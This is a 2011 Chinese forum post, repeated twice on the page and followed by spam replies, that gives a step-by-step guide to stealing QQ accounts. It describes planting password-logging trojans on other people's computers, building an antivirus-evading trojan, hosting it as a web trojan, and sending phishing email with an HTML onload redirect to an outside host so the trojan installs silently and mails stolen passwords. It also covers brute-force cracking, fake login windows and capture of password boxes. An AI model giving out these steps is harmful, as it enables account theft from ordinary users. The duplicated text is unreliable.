edit_note帖子
93
stars积分
0
event加入
2011-03-10
电脑网络
盗扣扣号法和钓鱼法详解。
schedule发表于 2011-10-02 19:30:00
visibility查看 3,339
chat_bubble回复 68
#1 楼主
盗扣扣号法和钓鱼法详解
一、盗QQ的方法主要有以下几种：
1。OICQhack这个工具可以破解本地有登陆密码保存的QQ
很好用，但是 ，是在DOS的 环境下运行的 运行后，有两个选项： 1 2 我们选择 2 然后，出现一行字 主要意思是： 让你写出密码文件（OICQ2000.cfg)的路径 这个文件一般在 C:\ProgramFiles\Oicq\dat\OICQ2000.cfg里输入完 路径 按回车，就可以看到密码了。
2。GOP1.2这个工具 ，是个密码记录木马 设置好了选项，发给再网吧的朋友，让他帮你种上以后上了这台机子的QQ，密码就会发送到你设置的邮箱里
3。 溯雪 这个工具
找到腾讯的网站的错误标志，就可以按我们讲解溯雪时，加入自字典，探测密码了，不过，腾讯升级了，错误标志与以前的有区别的。藏的很深。
4。冰河 这个工具也可以记录QQ的密码
但是，要把其中的 服务端（就是冰河 木马）发给对方，而且，对方的计算机要没有防火墙，才可以使用冰河的控制端
5。还有个什么暴力破解的新的工具,忘了什么名字了，大家去看看吧! 我个人认为：GOP是最好用的
６。现在又出了一种和塑雪的原理一样，但是cao作简单的工具，可以远程的暴力破解，名字是：QQPassRemoteCracker，大家可以去自行搜索下载！
7。盗qq号的简单方法
1）、制作盗号木马服务端
运行“强强QQ绝爱去后门版”盗号生成器，输入邮件接收和发送邮箱地址，邮件主题、用户名和密码等，最后点击“生成”按钮，即可生成一个免杀的QQ盗号木马程序（假设名为test.exe），并将其保存在“C：\temp”文件夹中。
2）、动鲨巧作网页木马
运行“动鲨网页木马生成器”，点击界面中的“浏览”按钮，选择刚才保存的木马文件“C：\temp\test.exe”。然后在“输入存放木马的Wed文件夹路径”框中输入网页的Wed路径，也就是我们申请的某个网站空间路径。
设置完毕后，点击“生成木马”按钮，弹出木马生成成功提示框，在动鲨网页木马生成器目录下的“动鲨网页木马”文件夹中，将生成几个网页木马文件。这三个文件的文件名分别为“bbs003302.css”、“bbs003302.gif”和“index.htm”。其中“index.htm”即是网站首页文件，而另外两个则
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:33:22续贴]:
是调用文件。
将生成的三个文件上传到网站空间中的同一文件夹目录下即可完成网页木马的制作。
3）、制作QQ木马邮件
登录QQ，在系统托盘区的企鹅图标上单击右键，在弹出菜单中选择“工具”—“QQ邮箱客户端”命令。弹出“QQ个人助理”中的邮件收发窗口，点击工具栏上的“新邮件”按钮，打开QQ新邮件撰写窗口，点击工具栏上的“HTML”按钮，弹出一个警告对话框，单击“确定”按钮，切换到邮件文本状态。
在“收件人”中输入收件人QQ邮箱地址，邮箱地址的形式一般为“你要攻击的QQ号码@qq.com”。然后输入邮件的主题，在下方的邮件撰写窗口中输入如下内容：
<html>
<body onload=”window.location=’ http://binghewu.51.net/index.htm ’
</body>
你好啊！
<html>|
在代码段中的“你好啊！”处，可以输入其他的文本内容或添加图片等以达到迷惑对方的目的。邮件撰写完毕后，现在就可以发送QQ邮件了，点击工具栏上的“发送”按钮，将邮件发送出去当要攻击的QQ号上线后，将会弹出一个提示框，提示该用户又新邮件。用户双击邮件后，就会进入QQ个人助理的QQ邮箱，并打开接受到的邮件。干打开邮件时，会显示我们撰写的邮件内容。但是过一会儿后，邮件页面就会自动转向到我们的木马网页。
当在QQ邮件窗口中打开木马网页后下显示一片空白，然而集成在网页中的木马程序已经在后台悄悄被执行了。也就是说QQ盗号木马已经进入浏览者的电脑中开始工作了，只要别人在电脑上登录QQ，他的号码和密码就会被木马收集起来，并发送到你指定的邮箱中了！
二、远程破解盗窃 QQ 密码的方法
“远程破解”与前面的“本地破解”正好相反，是指QQ盗号者通过网络盗窃远端QQ用户的密码。这种QQ破解有很多方法，如在线密码破解、登录窗口破解、邮箱破解、消息诈骗以及形形**的QQ木马病毒等。下面就让我们一同来看看这些QQ密码的远程破解是怎么实现的。
1、在线密码破解
大家知道QQ可以利用代理服务器登录，这是一种保护措施。它不仅可以隐藏用户的真实IP地址，以避免遭受网络攻击，还可以加快登录速度，保证登录的稳定性。
在线密码破解和本地密码破
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:38:53续贴]:
解采用的技术方法类似，都是穷举法，只不过前者完全脱离了本地用户使用的QQ。它通过对登录代理服务器进行扫描，只要想盗的QQ号码在线，就可利用在线盗号工具实现远程TCP/IP的追捕，从而神不知鬼不觉地盗取QQ密码！
在线破解改变了本地破解那种被动的破解方式，只要是在线的QQ号码都可以破解，适用范围较广。但是由于它仍然采用穷举法技术，所以在枚举密钥位数长度以及类型时，校验时间很长，破解效率不高。同样，这种方法还受到电脑速度、网速等诸多因素的影响，因此比前面的本地破解更麻烦。
目前功能比较强大的一款QQ密码在线破解软件叫QQExplorer。它的破解*作分四步：第一步，在QQ起始号码和结束号码中填上想要盗取的QQ号码（此号码必须在线）；第二步，在“添加或删除HTTP代理服务器”中输入代理服务器的IP地址和端口号码（如果你嫌自己寻找QQ代理服务器麻烦，可以使用一些现代的QQ代理公布软件）；第三步，点击“添加&测试”按钮，软件先自动检测此服务器是否正常，确定后将它加入代理服务器列表（此软件可填入多个代理服务器的地址，并且能够自动筛选不可用或者速度慢的服务器）；第四步，点击“开始”按钮，开始在线密码破解……
QQExporer是一款QQ密码在线破解软件
2、登录窗口破解
伪造QQ登录窗口的盗号方法非常简单，这是一种比较另类的木马破解方法（后面对木马破解有专门讲述）。先用盗号软件生成一个伪装的QQ主程序，它运行后会出现跟腾讯QQ一模一样的登录窗口，只要用户在这个伪登录窗口中登录，输入的QQ号及密码就会被记录下来，并通过电子邮件发送到盗号者指定的油箱中，在此以一款叫“狐Q”的软件为例，首次运行它时，它会把自身复制到QQ目录中，并把原来的QQ.exe文件改名为QQ.com（这样的更改不会影响QQ的正常运行）。设置完毕后，“狐Q”的原程序就会消失，伪装成QQ等待“猎物”上钩……在其软件设置中，有一项设置可以决定真假QQ交替运行的次数，可以减少用户在使用QQ时产生的怀疑。比如说将“生效次数”设定为3，那么用户第一次运行的是真QQ了，也就是说在第三次运行时，用户的QQ号便被盗了！在QQ密码发送的过程中，如果发送失败，它还会把QQ号和密码记下来，等待下一次发送。
即时监视QQ登录窗口的盗号方法利用Windows窗口函数、句柄功能实现
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:42:14续贴]:
QQ号和密码的后台截取。此类软件几乎可以捕获Windows下所有标准密码框中的密码，如QQ、Outlook、屏幕保护程序、各种电子邮件客户端、各种游戏账号和上网账号等。捕获后，它也会将密码实时发送到盗号者指定的邮箱中。其代表性的盗号软件是“密码使者”，它几乎可以捕获Windows 9x/2000/XP下所有登录窗口中的密码，并且还能够盗取在网页中登录的各种密码。盗号在使用这款软件时，只须填上用于接收别人QQ密码的邮箱地址及保护密码，并把生成的盗号器文件传过去哄骗别人运行，然后就可以坐等密码上门！此软件与传统的键盘记录器不同，它在电脑每次开机时隐藏自启动，不管密码是用键盘输入的，还是复制、粘贴的，都能够有效地实时拦截！其注册版本居然还带有自动升级的功能，破坏力十分巨大。
完
------------
-------
文名回复>>>素质评论
一、盗QQ的方法主要有以下几种：
1。OICQhack这个工具可以破解本地有登陆密码保存的QQ
很好用，但是 ，是在DOS的 环境下运行的 运行后，有两个选项： 1 2 我们选择 2 然后，出现一行字 主要意思是： 让你写出密码文件（OICQ2000.cfg)的路径 这个文件一般在 C:\ProgramFiles\Oicq\dat\OICQ2000.cfg里输入完 路径 按回车，就可以看到密码了。
2。GOP1.2这个工具 ，是个密码记录木马 设置好了选项，发给再网吧的朋友，让他帮你种上以后上了这台机子的QQ，密码就会发送到你设置的邮箱里
3。 溯雪 这个工具
找到腾讯的网站的错误标志，就可以按我们讲解溯雪时，加入自字典，探测密码了，不过，腾讯升级了，错误标志与以前的有区别的。藏的很深。
4。冰河 这个工具也可以记录QQ的密码
但是，要把其中的 服务端（就是冰河 木马）发给对方，而且，对方的计算机要没有防火墙，才可以使用冰河的控制端
5。还有个什么暴力破解的新的工具,忘了什么名字了，大家去看看吧! 我个人认为：GOP是最好用的
６。现在又出了一种和塑雪的原理一样，但是cao作简单的工具，可以远程的暴力破解，名字是：QQPassRemoteCracker，大家可以去自行搜索下载！
7。盗qq号的简单方法
1）、制作盗号木马服务端
运行“强强QQ绝爱去后门版”盗号生成器，输入邮件接收和发送邮箱地址，邮件主题、用户名和密码等，最后点击“生成”按钮，即可生成一个免杀的QQ盗号木马程序（假设名为test.exe），并将其保存在“C：\temp”文件夹中。
2）、动鲨巧作网页木马
运行“动鲨网页木马生成器”，点击界面中的“浏览”按钮，选择刚才保存的木马文件“C：\temp\test.exe”。然后在“输入存放木马的Wed文件夹路径”框中输入网页的Wed路径，也就是我们申请的某个网站空间路径。
设置完毕后，点击“生成木马”按钮，弹出木马生成成功提示框，在动鲨网页木马生成器目录下的“动鲨网页木马”文件夹中，将生成几个网页木马文件。这三个文件的文件名分别为“bbs003302.css”、“bbs003302.gif”和“index.htm”。其中“index.htm”即是网站首页文件，而另外两个则
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:33:22续贴]:
是调用文件。
将生成的三个文件上传到网站空间中的同一文件夹目录下即可完成网页木马的制作。
3）、制作QQ木马邮件
登录QQ，在系统托盘区的企鹅图标上单击右键，在弹出菜单中选择“工具”—“QQ邮箱客户端”命令。弹出“QQ个人助理”中的邮件收发窗口，点击工具栏上的“新邮件”按钮，打开QQ新邮件撰写窗口，点击工具栏上的“HTML”按钮，弹出一个警告对话框，单击“确定”按钮，切换到邮件文本状态。
在“收件人”中输入收件人QQ邮箱地址，邮箱地址的形式一般为“你要攻击的QQ号码@qq.com”。然后输入邮件的主题，在下方的邮件撰写窗口中输入如下内容：
<html>
<body onload=”window.location=’ http://binghewu.51.net/index.htm ’
</body>
你好啊！
<html>|
在代码段中的“你好啊！”处，可以输入其他的文本内容或添加图片等以达到迷惑对方的目的。邮件撰写完毕后，现在就可以发送QQ邮件了，点击工具栏上的“发送”按钮，将邮件发送出去当要攻击的QQ号上线后，将会弹出一个提示框，提示该用户又新邮件。用户双击邮件后，就会进入QQ个人助理的QQ邮箱，并打开接受到的邮件。干打开邮件时，会显示我们撰写的邮件内容。但是过一会儿后，邮件页面就会自动转向到我们的木马网页。
当在QQ邮件窗口中打开木马网页后下显示一片空白，然而集成在网页中的木马程序已经在后台悄悄被执行了。也就是说QQ盗号木马已经进入浏览者的电脑中开始工作了，只要别人在电脑上登录QQ，他的号码和密码就会被木马收集起来，并发送到你指定的邮箱中了！
二、远程破解盗窃 QQ 密码的方法
“远程破解”与前面的“本地破解”正好相反，是指QQ盗号者通过网络盗窃远端QQ用户的密码。这种QQ破解有很多方法，如在线密码破解、登录窗口破解、邮箱破解、消息诈骗以及形形**的QQ木马病毒等。下面就让我们一同来看看这些QQ密码的远程破解是怎么实现的。
1、在线密码破解
大家知道QQ可以利用代理服务器登录，这是一种保护措施。它不仅可以隐藏用户的真实IP地址，以避免遭受网络攻击，还可以加快登录速度，保证登录的稳定性。
在线密码破解和本地密码破
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:38:53续贴]:
解采用的技术方法类似，都是穷举法，只不过前者完全脱离了本地用户使用的QQ。它通过对登录代理服务器进行扫描，只要想盗的QQ号码在线，就可利用在线盗号工具实现远程TCP/IP的追捕，从而神不知鬼不觉地盗取QQ密码！
在线破解改变了本地破解那种被动的破解方式，只要是在线的QQ号码都可以破解，适用范围较广。但是由于它仍然采用穷举法技术，所以在枚举密钥位数长度以及类型时，校验时间很长，破解效率不高。同样，这种方法还受到电脑速度、网速等诸多因素的影响，因此比前面的本地破解更麻烦。
目前功能比较强大的一款QQ密码在线破解软件叫QQExplorer。它的破解*作分四步：第一步，在QQ起始号码和结束号码中填上想要盗取的QQ号码（此号码必须在线）；第二步，在“添加或删除HTTP代理服务器”中输入代理服务器的IP地址和端口号码（如果你嫌自己寻找QQ代理服务器麻烦，可以使用一些现代的QQ代理公布软件）；第三步，点击“添加&测试”按钮，软件先自动检测此服务器是否正常，确定后将它加入代理服务器列表（此软件可填入多个代理服务器的地址，并且能够自动筛选不可用或者速度慢的服务器）；第四步，点击“开始”按钮，开始在线密码破解……
QQExporer是一款QQ密码在线破解软件
2、登录窗口破解
伪造QQ登录窗口的盗号方法非常简单，这是一种比较另类的木马破解方法（后面对木马破解有专门讲述）。先用盗号软件生成一个伪装的QQ主程序，它运行后会出现跟腾讯QQ一模一样的登录窗口，只要用户在这个伪登录窗口中登录，输入的QQ号及密码就会被记录下来，并通过电子邮件发送到盗号者指定的油箱中，在此以一款叫“狐Q”的软件为例，首次运行它时，它会把自身复制到QQ目录中，并把原来的QQ.exe文件改名为QQ.com（这样的更改不会影响QQ的正常运行）。设置完毕后，“狐Q”的原程序就会消失，伪装成QQ等待“猎物”上钩……在其软件设置中，有一项设置可以决定真假QQ交替运行的次数，可以减少用户在使用QQ时产生的怀疑。比如说将“生效次数”设定为3，那么用户第一次运行的是真QQ了，也就是说在第三次运行时，用户的QQ号便被盗了！在QQ密码发送的过程中，如果发送失败，它还会把QQ号和密码记下来，等待下一次发送。
即时监视QQ登录窗口的盗号方法利用Windows窗口函数、句柄功能实现
待续
[◆ф≮хǐǎσ黑客≯╀落落╁于2011-10-2 19:42:14续贴]:
QQ号和密码的后台截取。此类软件几乎可以捕获Windows下所有标准密码框中的密码，如QQ、Outlook、屏幕保护程序、各种电子邮件客户端、各种游戏账号和上网账号等。捕获后，它也会将密码实时发送到盗号者指定的邮箱中。其代表性的盗号软件是“密码使者”，它几乎可以捕获Windows 9x/2000/XP下所有登录窗口中的密码，并且还能够盗取在网页中登录的各种密码。盗号在使用这款软件时，只须填上用于接收别人QQ密码的邮箱地址及保护密码，并把生成的盗号器文件传过去哄骗别人运行，然后就可以坐等密码上门！此软件与传统的键盘记录器不同，它在电脑每次开机时隐藏自启动，不管密码是用键盘输入的，还是复制、粘贴的，都能够有效地实时拦截！其注册版本居然还带有自动升级的功能，破坏力十分巨大。
完
------------
-------
文名回复>>>素质评论
全部回复 (68)
2011-10-04 07:21:00
#62
太有才了啊了了了了了了了了了了
2011-10-04 07:21:00
#63
太有才了啊了了了了了了了了了了了
2011-10-04 07:21:00
#64
太有才了啊了了了了了了了了了了了了
2011-10-04 07:22:00
#65
太有才了啊了了了了了了了了
2011-10-04 07:22:00
#66
太有才了啊了了了了了了了
2011-10-04 09:02:00
#67
CF怎么卡枪啊？
2011-10-04 10:18:00
#68
登录 后才能回复
flag举报帖子